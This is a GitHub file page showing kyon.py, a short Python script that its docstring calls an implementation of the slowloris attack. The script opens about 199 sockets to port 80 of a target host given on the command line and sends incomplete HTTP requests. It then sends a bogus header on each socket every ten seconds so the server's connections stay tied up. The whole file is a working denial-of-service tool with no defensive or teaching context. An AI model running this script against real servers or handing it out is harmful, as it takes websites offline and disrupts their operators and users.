-
Notifications
You must be signed in to change notification settings - Fork 0
/
kyon.py
80 lines (42 loc) · 1.42 KB
/
kyon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
'''Implementation of slowloris attack'''
import sys
import socket
import random
import os
import time
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\r\n",
"Accept-language: en-US,en\r\n"
]
arbitrary_header = "X-a: bogus value\r\n"
sockets = []
def setupsockets(ip):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((ip,80))
sock.send("GET /?={0} HTTP/1.1\r\n".format(random.randint(1,1024)).encode('utf-8'))
for header in headers:
sock.send("{0}".format(header).encode("utf-8"))
return sock
if __name__ == '__main__':
if len(sys.argv) != 2:
print(" Usages python3 {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 199
for i in range(0,count):
try:
print("Creating socket {0}".format(i))
tmpsock = setupsockets(ip)
except OSError:
break
sockets.append(tmpsock)
while True:
print("All {0} sockets established. Starting arbitray transmission".format(count))
for tmp in sockets:
try:
tmp.send("X-a:{0}\r\n".format(random.randint(1,99)).encode("utf-8"))
except OSError:
sockets.remove(tmp)
print("Sleeping for 10 seconds")
time.sleep(10)